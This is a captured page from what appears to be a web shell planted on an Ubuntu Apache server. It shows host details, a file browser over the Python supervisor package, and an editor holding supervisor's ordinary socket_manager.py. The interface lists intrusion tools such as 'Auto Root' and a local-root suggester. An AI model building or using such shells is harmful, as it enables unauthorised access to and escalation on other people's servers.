Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
supervisor /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2025-02-27 19:58
medusa
[ DIR ]
drwxr-xr-x
2025-02-27 19:58
scripts
[ DIR ]
drwxr-xr-x
2025-02-27 19:58
skel
[ DIR ]
drwxr-xr-x
2025-02-27 19:58
tests
[ DIR ]
drwxr-xr-x
2025-02-27 19:58
ui
[ DIR ]
drwxr-xr-x
2025-02-27 19:58
__init__.py
20
B
-rw-r--r--
2019-04-06 06:19
childutils.py
2.5
KB
-rw-r--r--
2019-04-06 06:19
compat.py
3.66
KB
-rw-r--r--
2019-09-17 02:23
confecho.py
205
B
-rw-r--r--
2019-04-06 06:19
datatypes.py
12.93
KB
-rw-r--r--
2019-04-06 06:19
dispatchers.py
18.64
KB
-rw-r--r--
2019-04-06 06:19
events.py
7.07
KB
-rw-r--r--
2019-04-06 06:19
http.py
30.86
KB
-rw-r--r--
2019-11-28 04:11
http_client.py
6.87
KB
-rw-r--r--
2019-05-23 05:31
loggers.py
12.68
KB
-rw-r--r--
2019-10-20 02:06
options.py
85.4
KB
-rw-r--r--
2020-04-10 05:49
pidproxy.py
1.84
KB
-rw-r--r--
2020-09-11 19:59
poller.py
6.55
KB
-rw-r--r--
2019-04-06 06:19
process.py
37.2
KB
-rw-r--r--
2019-04-06 06:57
rpcinterface.py
36.46
KB
-rw-r--r--
2020-04-10 05:59
socket_manager.py
3.02
KB
-rw-r--r--
2020-08-07 05:02
states.py
1.62
KB
-rw-r--r--
2018-02-16 02:36
supervisorctl.py
53.4
KB
-rw-r--r--
2020-09-11 19:59
supervisord.py
14.25
KB
-rw-r--r--
2020-09-11 19:59
templating.py
45.98
KB
-rw-r--r--
2019-09-17 02:23
version.txt
6
B
-rw-r--r--
2020-08-21 02:03
web.py
23.71
KB
-rw-r--r--
2020-04-28 04:19
xmlrpc.py
21.03
KB
-rw-r--r--
2019-09-17 02:23
Save
Rename
import socket class Proxy: """ Class for wrapping a shared resource object and getting notified when it's deleted """ def __init__(self, object, **kwargs): self.object = object self.on_delete = kwargs.get('on_delete', None) def __del__(self): if self.on_delete: self.on_delete() def __getattr__(self, name): return getattr(self.object, name) def _get(self): return self.object class ReferenceCounter: """ Class for tracking references to a shared resource """ def __init__(self, **kwargs): self.on_non_zero = kwargs['on_non_zero'] self.on_zero = kwargs['on_zero'] self.ref_count = 0 def get_count(self): return self.ref_count def increment(self): if self.ref_count == 0: self.on_non_zero() self.ref_count += 1 def decrement(self): if self.ref_count <= 0: raise Exception('Illegal operation: cannot decrement below zero') self.ref_count -= 1 if self.ref_count == 0: self.on_zero() class SocketManager: """ Class for managing sockets in servers that create/bind/listen before forking multiple child processes to accept() Sockets are managed at the process group level and referenced counted at the process level b/c that's really the only place to hook in """ def __init__(self, socket_config, **kwargs): self.logger = kwargs.get('logger', None) self.socket = None self.prepared = False self.socket_config = socket_config self.ref_ctr = ReferenceCounter( on_zero=self._close, on_non_zero=self._prepare_socket ) def __repr__(self): return '<%s at %s for %s>' % (self.__class__, id(self), self.socket_config.url) def config(self): return self.socket_config def is_prepared(self): return self.prepared def get_socket(self): self.ref_ctr.increment() self._require_prepared() return Proxy(self.socket, on_delete=self.ref_ctr.decrement) def get_socket_ref_count(self): self._require_prepared() return self.ref_ctr.get_count() def _require_prepared(self): if not self.prepared: raise Exception('Socket has not been prepared') def _prepare_socket(self): if not self.prepared: if self.logger: self.logger.info('Creating socket %s' % self.socket_config) self.socket = self.socket_config.create_and_bind() if self.socket_config.get_backlog(): self.socket.listen(self.socket_config.get_backlog()) else: self.socket.listen(socket.SOMAXCONN) self.prepared = True def _close(self): self._require_prepared() if self.logger: self.logger.info('Closing socket %s' % self.socket_config) self.socket.close() self.prepared = False